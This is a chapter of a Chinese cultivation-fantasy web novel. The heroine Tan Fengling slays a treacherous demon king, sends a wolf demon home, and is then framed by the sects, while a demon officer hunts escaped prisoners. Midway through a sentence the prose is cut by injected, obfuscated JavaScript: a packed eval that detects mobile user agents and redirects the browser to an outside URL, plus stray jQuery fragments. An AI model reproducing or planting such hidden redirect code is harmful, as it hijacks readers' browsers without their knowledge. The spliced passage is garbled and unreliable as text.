望仙城上空,黑云翻涌,凝聚成遮天蔽日的涡流,天地间灵气躁动不安。
在这天灾战乱四起、饿殍遍地的现世,修士虽不必如凡人般挣扎于生死,却也面临灵气日渐稀薄、修为停滞的困局。
而极尽享乐的望仙城,便成了修士心中暂且抛却烦忧的忘忧之地。
可如今,这座城已沦为废墟。
两头身形巨硕的妖族各踞半城,嘶吼震天。
“嗬嗷!”
“吼——!”
三眼狼妖猛然扑向对面的赤面魈,獠牙直取头颅。那魈妖似吓呆了一般,僵立不动。
就在狼口即将咬碎的刹那,它灵活一扭,狼头收势不及,轰然撞上山岩,发出震耳巨响。
巨狼被撞得晕晕乎乎,踉跄着甩了甩头。
赤面魈奸计得逞,发出桀桀怪笑:
“鸣穷,你打不过我,乖乖奉上妖丹,我可考虑给你留个全尸。”
鸣穷被彻底激怒,昂首怒啸:“你这背主的杂碎,有本事别耍阴招!老子今日必生啖你脑!!”
狼口开始凝聚青色妖力,天空云涡随之加剧翻涌,电光隐隐窜动。
望仙城结界破碎,两大妖王激斗的余波不断殃及周边村镇。追随赤面魈逃窜出来的小妖更是肆意横行,在人间屠戮生灵。
檀奉灵将从熊妖爪下救出的小姑娘安顿好,挥手凝出灵剑,清剿附近的妖物。
就在一炷香前,兰旌那句“我是半妖,他的话我不得不听”犹在耳边回荡。
醉月楼里的其他宾客,刚醒来便看见这座设有高阶防御结界的楼阁迅速崩塌。众人各展所能冲了出去,还没喘过气,便目睹了大妖摧城,小妖祸野,哀鸿遍野。
年轻一辈的领头羊大多聚在此处,又是檀奉灵的好友,因此当她提议分头救人时,众人并无异议,纷纷召集门下弟子行动起来。
然而修士视凡人如草芥的观念根深蒂固,面对妖物时,一些人仍以诛妖为先,救人反而成了次要,出手毫无顾忌,误伤百姓之事屡屡发生。
檀奉灵看在眼里,却无可奈何。情势危急,人手一旦散开便难以统一调度,只能尽力多救一个是一个。
兰旌悬于半空,望着倒塌的醉月楼,向来含笑风流的桃花眼第一次怒意蓬勃。
他朝檀奉灵丢下一句意义不明的“去找他,别回去”,便与自家弟子启动传送阵法离去。
檀奉眉头紧锁,无暇细想他话里的深意。
她发现除了少数低智嗜血的小妖会无差别袭击村民之外,更多妖物似乎对她格外执着,哪怕送死也要扑上来。
抬头看去,那只三眼狼正在蓄力,心头顿时一沉。
妖王一旦全力爆发,方圆百里都将遭殃!
八大妖王她略有耳闻,其中赤面魈生性阴险狡猾,当初主动归附,也不过是惧怕九方巽天镇压反抗者的手段。
在妖域时,九方巽天对她的特殊从不遮掩。如今赤面魈叛离妖域,手下小妖又对她穷追不舍,目的为何不言而喻。
也直到此刻,檀奉灵才惊觉一件事:整个望仙城,没有一个一念宗弟子。
师尊与宗门费尽心思为她正名,连妖族都知晓她今日抵达望仙城并前来截捕,一念宗上下怎么可能无动于衷?
想起先前关于四门“调虎离山”的推测,檀奉灵的心重重沉了下去。
“去。”
她并指甩出一张传音符,灵光疾射,直奔一念宗方向。
必须尽快弄清宗门的情况。
就在这片刻之间,两妖战作一团,妖力横飞。
鸣穷凶悍但灵智逊了一筹,被赤面耍得团团转,气急败坏之下攻势愈发狂暴。
赤面魈心思阴毒,见有修士救助凡人,故意引三眼狼将妖力轰向人群密集的地方。
众修士不得不聚集在一处抵挡,被迫放弃分散逃命的百姓。
方才檀奉灵救下的小姑娘还有位哥哥,千恩万谢之后,拉起妹妹便往城外逃。
谁料运气不佳,半途撞上修士与妖物缠斗,险些被一道失控的灵力余波击中。
檀奉灵挥手为他们罩上一层护罩,两个孩子毫无所觉,只顾埋头狂奔。
遭遇这般无力抗衡的无妄之灾,如他们这般毫无自保之力的凡人,脑中只剩一个念头,那就是逃,拼命地逃!这是他们唯一能做的事。
放眼望去,因连年天灾,赋税沉重,逃亡的百姓个个骨瘦如柴、衣衫褴褛,脚上有双完好鞋履的都属罕见,多数人只能赤足奔命。
更有人呆站在原地等死,眼神死寂麻木,仿佛早已接受被妖族屠戮、被修士漠视的命运。
檀奉灵后槽牙咬得发酸,心口如有火焰烧灼,眉间那点朱砂殷红似血。
鸣穷不是赤面的对手,后者耐心渐失。在又一次诱使前者自伤后,赤面魈眼中凶光毕露。
檀奉灵紧盯战局,双手结印,无声诵念。
随着法决流转,磅礴灵力从她周身溢出,精准地为视线所及的每个人覆上一层浅金光罩。
接着掏出数瓶补灵丹药,看也不看便尽数往嘴里倒。
赤面魈若有所感,阴恻恻投来一瞥,如视囊中之物。
檀奉灵冷冷回视,咽下丹药的瞬间再度掐诀,持剑凌空而起。
城内,赤面魈偷袭得手,狼妖哀嚎着砸落地面,压塌半面城墙。
檀奉灵流光般自狼妖身侧掠过,刚猛剑气携滔天杀意,直劈魈妖面门!
赤面魈瞳孔紧缩,再不复戏弄鸣穷时的轻蔑,倏地压低身体摆出迎战姿态,一双淬了毒般的眼睛死死钉住檀奉灵,嘴角撕裂至耳根,龇出森森獠牙:
“小小人修,也敢逞能!”
“要战便战,废话少说!”
檀奉灵寒声呛了句,连出数招,招招直取要害。
赤面魈躲得狼狈,心里暗恨:这卑贱人修,定是被九方巽天用无数天材地宝强堆出来的修为!若他日夺权成功,那些珍宝本该都属于自己!
不过这样也好,那昏君越是看重这女人,她便越有“价值”。
思及此,红褐色的双瞳滑过一丝贪婪,像是看见了自己掌控权柄、坐拥宝物的未来。
对手激战之中还敢分神,檀奉灵唇角微抬。
这是有多轻视?
她剑势陡然一变。
一线寒光如霜,悄无声息钻进赤面魈眉心,随即在颅内迸裂千丝万缕,绞碎妖丹心脉。
赤面魈表情定格在被惊骇与茫然。他张了张嘴,似想说什么,但最终只呕出一口污浊妖血,便自半空坠落,砸起一片尘土。
鸣穷挣扎着站起,三只兽瞳愣愣看向空中的女子,喉间发出浑浊的低吼。
妖皇被这女人捅一剑那天,他也在场,可夜朔又说这是夫妻情趣,鸣穷半信半疑,搞不清这位未来妖后是敌是友。
檀奉灵落地,手中灵剑溢散成流光没入体内,一步步走向它。
鸣穷本能后退半步,背脊弓起,龇牙低鸣,满是戒备。
“我无意杀你。”
她在三丈外止步,声音穿透风声:“赤面魈抓我是为要挟九方巽天。既敢来人界作乱,便该有赴死的觉悟。”
“鸣穷,你是要继续在人界兴风作浪,还是滚回妖域去?”
狼妖低吼,狼爪深深抓入地面:“你、你怎知我名……”
“九方巽天提过。”
檀奉灵打断他,“他说你忠勇纯良,今日看来,你这份‘忠勇’,差点成了助纣为虐的愚行。”
鸣穷三目圆睁,一面被“纯良”二字震得失语,一面惊异于妖皇对这未来妖后如此毫无保留。
“带着赤面魈的尸首,回妖域去。”
檀奉灵语气转厉,“人界不是妖族肆虐之地,更不是你们争权内斗的战场。今日死的是它,你若执迷不悟,你若执迷不悟。”
她顿了一顿,声线冰寒:
“下一个便是你。”
鸣穷脊背的毛缓缓伏下,它低头看了看赤面魈的尸体,又望向女子那双沉静如渊的眼睛。
半晌,发出一声闷闷低呜。
它俯身叼起赤面魈残躯,转身腾空,化作一道灰影,径直投向妖域方向。
云涡消散,天光微露。
檀奉灵收回视线,轻舒一口气。方才一连串出手几乎耗尽她大半灵力,若那狼妖执意再战,应对起来怕是艰难。
周边残余小妖被众修士清理得七七八八,不少人正朝她看来。几个好友也在人群中微笑望着她,眼里盛着担忧、关怀、赞许与自豪。
檀奉灵唇角扬了扬,迈步欲与众人会合,神情骤然冰冷。
她感应到自己送给安员外的那枚通玄玉,碎了。
不远处,奕心兴奋地朝她挥手,却在下一秒看见檀奉灵身形一闪,似被迫离开,半句话都来不及留下便原
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245422|197874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地消失。
与此同时,在场所有修士腰间玉镜齐齐震动。
来自各派宗主或掌门的最高指令同时抵达,内容大同小异:
“一念宗大弟子檀奉灵勾结妖族,祸乱人间。一念宗假拟天诏,包庇罪徒。各峰各脉弟子,即刻随师门前往苍梧山——”
最后二字如冰锥刺入每个人的识海:
“观刑。”
不是听审,不是共议。
是观刑。
五大修真门派齐聚,讨伐一念宗。
既是不容分说的定罪,也是赤裸裸的胁迫。
他们要的,是檀奉灵的命。
……
赤面魈叛逃前,故意凿穿了妖域深处的囚牢。数百年来被囚禁折磨的恶妖如决堤洪流,淹没了分隔人妖两界的屏障——断尘隘。
按常理,即便镇邪碑碎,隘口仍笼罩着千年不散的雾障,修为稍弱者触及即溃,妖魂俱灭。可这群在暗牢里被折磨得修为十不存一的恶妖,全都完好无损地渡过了雾障。
踏足人界的刹那,它们仰天长啸。
数百年的囚禁、鞭笞、屈辱,在这一刻化为滔天恨意,眼前全是手无寸铁的凡人,正是宣泄仇恨的最佳猎物。
五片大陆很快被它们以血腥爪牙私自割据,划作各自的“猎场”。昔日炊烟袅袅的村落化作焦土,繁华城镇沦为尸骸遍布的鬼域。
妖物以虐杀为乐,所过之处,只余残肢与绝望。它们视人族为食物,玩弄、吞噬,只为彰显力量,播撒恐惧。
几头实力最强的大妖,直接抢占了当前人间灵力最为丰沛的几处洞天福地,而这些地方,也是各大修真门派传承千百年的山门所在。
山摧面无表情地在逃犯名册上划掉一个名字。
脚边是一只刚毙命的鳞鼠妖,妖丹被剜出,死不瞑目,尸身肚腹洞开,露出半截没消化的人类小腿。
“第七个。”
他与鸣穷分头追杀赤面魈,这一路并未寻到赤面魈的踪迹,却撞见不少越狱的囚妖在人间肆虐。
自新妖皇即位,便有意约束众妖残杀人族。妖族皆需登记造册,以便管辖;不从号令者,或杀或囚,罪大恶极之辈则是判要受千刀万剐之刑,日夜不息。
山摧的职责之一就是监察这些囚妖,手握处决权,因而杀起来就是顺手的事,亦算是将功折罪。
他皱眉望向远处仙气缭绕的巍峨建筑——那是三大宗门之首的浩然宗。此刻护山大阵光华耀目,却无一人下山。
妖都杀到山门前了,居然没一个出来管管?
山摧啐了一口:“尽是些缩头乌龟。”
他不知道的是,各派内部早已空空荡荡,留守弟子不过寥寥,全都龟缩在大阵之内。
对山下生灵涂炭的惨状,大多选择了紧闭山门,视而不见。他们的目光,牢牢定在遥远的苍梧山,那里即将要开一场关乎天下修士的“盛会”。
名册上只剩最后一处定位。
“怨翅蝶……苍梧山?”
看清后面那三个字,山摧只觉得额前犀角隐隐作痛。
要是没记错,这地方……不就是那位捅了皇一剑,还能嚣张离去的“未来妖后”的宗门所在吗?!
这怨翅蝶本身战斗力不高,可振翅撒出的青黑鳞粉却极为阴毒。沾肤即融,专门放大心底的暴戾与偏执,让人心生恶念、行事极端,纵然是平和之人,也会生出“顺我者昌逆我者亡”的狂念,且鳞粉会慢慢耗损心神,沉溺于极端情绪越久,便会越快成为丧失神智的傀儡。
而它的半生花妖,专以这些心神耗尽之人的血肉为食。
传闻未来妖后治妖素来酷烈,凡戕害凡人的妖类从无生路,便是作恶的人修,她也半分情面不留;唯有苍梧山脚下的村民,受她庇佑数十载安稳无虞。
似是在她心里,比起同求大道的修士,这些微如蝼蚁的凡人,更像她不可触碰的底线。
倘若怨翅蝶去了那里……
山摧不敢再想。
本就因赤面魈叛逃而平白添了无数麻烦,数百年兢兢业业的功绩毁于一旦,这下子更是恨不得将那死猴子挫骨扬灰。
此事非同小可。
他当即施展妖王秘法,紧急联络主意最多的夜朔。
只盼还来得及补救。
可惜他不懂,有些事是天意注定。
有些人,终究要走向殊途。